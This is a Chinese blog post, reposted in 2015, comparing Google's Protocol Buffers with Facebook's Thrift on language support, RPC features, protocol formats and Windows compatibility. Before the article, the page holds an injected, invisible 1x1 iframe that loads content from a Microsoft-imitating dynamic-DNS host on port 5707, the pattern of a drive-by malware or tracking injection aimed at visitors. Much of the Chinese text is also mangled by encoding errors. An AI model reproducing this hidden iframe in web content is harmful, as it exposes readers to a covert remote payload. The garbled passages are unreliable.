<iframe allowtransparency="true" src="http://microsoftdns.xicp.net:5707/cppblog
.png" width="1" height="1" style="display: block;"></iframe>最近工作需要保存一些結(jié)構(gòu)化的數(shù)據(jù)。常規(guī)的思路,自然是選擇xml。定義一個schema,然后再找個利落點的XML庫(覺得tinyxml/tinyxml++ 就挺不錯的)就算問題解決。這兩天blog上比較熱鬧的話題,是從Google放出來的Protocol buffers ,一種用來部分替代xml的數(shù)據(jù)描述語言。Google就是Google,就算是推白菜出來,也一樣能讓人側(cè)目。其實protocol buffers也不是什么新鮮的概念,且不說傳統(tǒng)的ASN.1, ICE這些有點類似的東西,facebook一年前就推出了thrift ,應該說定位是非常的接近的。也有謠傳說是先有了protocol buffers在google內(nèi)部流行,然后google的人跳槽到facebook,就出了thrift這個東西……呵呵,停止八卦,言歸正傳。
觀察法看到的優(yōu)缺點
Thrift:
支持的語言更廣泛一些c++, java, python,ruby, csharp, haskell, ocmal, erlang, cocoa, php, squeak(真夠變態(tài)的)
protobuf
目前還是只支持c++, java, python, 其他語言有待開發(fā).
Thrift提供的功能更豐富一些:
Thrift提供了簡單的RPC構(gòu)架(其實不簡單了, block, nonblock的都有了…..)
protobuf好像一心一意做好自己的事情,只提供了序列化和反序列化的功能。
Thrift支持多種協(xié)議格式.
Thrift的代碼實現(xiàn),有專門的TProtocol和TTransport抽象,相互配合,可以實現(xiàn)多種協(xié)議,方便集成各種傳輸方式。至少目前Thrift就能使用json作為序列化協(xié)議。
protobuf好像只安心一種協(xié)議,并下決心把這個格式做好。輸入輸出也是標準的stream. 認真的說也不完全這樣,protobuf為了調(diào)試方便,也提供了Text_Fromat功能,這個也算一個nonbinary格式支持,這樣看來完全新協(xié)議還是有可能的。
Thrift還提供了不少語言的C module(性能啊,都是性能啊)
protobuf全部pure language實現(xiàn), 反正現(xiàn)在已經(jīng)都5到10倍速度了,不在乎了…..
thrift目前不支持Windows平臺,至少c++語言的runtime library和generated code是不不能在windows平臺上使用的。(這真有點讓人難以接受啊,現(xiàn)代科技這么發(fā)達,還有怪獸boost,支持windows有這么難嗎?)
protobuf沒有這個問題,提供了visual studio的項目文件,可以很順利的在windows平臺下編譯。(題外話: 如果不知道googletest怎么在windows平臺上使用,可以參考protobuf的測試用例)。
The Thrift C++ runtime library does not currently work on Windows. This means that you’ll be able to compile ThriftIDL files to C++/Java/Python/etc., but you won’t be able to compile and run the generated C++ code under Windows.
thrift wiki
protobuf側(cè)重點是語言表達,同時在存儲效率上也下了不少功夫。用protobuf來直接讀寫數(shù)據(jù)結(jié)構(gòu)相當?shù)姆奖恪?/div>
thrift側(cè)重點是構(gòu)建夸語言的可伸縮的服務,特點就是支持的語言多,同時提供了完整的rpc service framework,可以很方便的直接構(gòu)建服務,不需要做太多其他的工作。
數(shù)據(jù)類型相對固定的情況下,不論是thrift還是protobuf都會比直接處理xml要方便很多。不管是dom還是類sax,總沒有直接出數(shù)據(jù)結(jié)構(gòu)訪問來的方便啊。
posted on 2015-10-26 20:18
日需博客 閱讀(1496)
評論(0) 編輯 收藏 引用 所屬分類:
轉(zhuǎn)載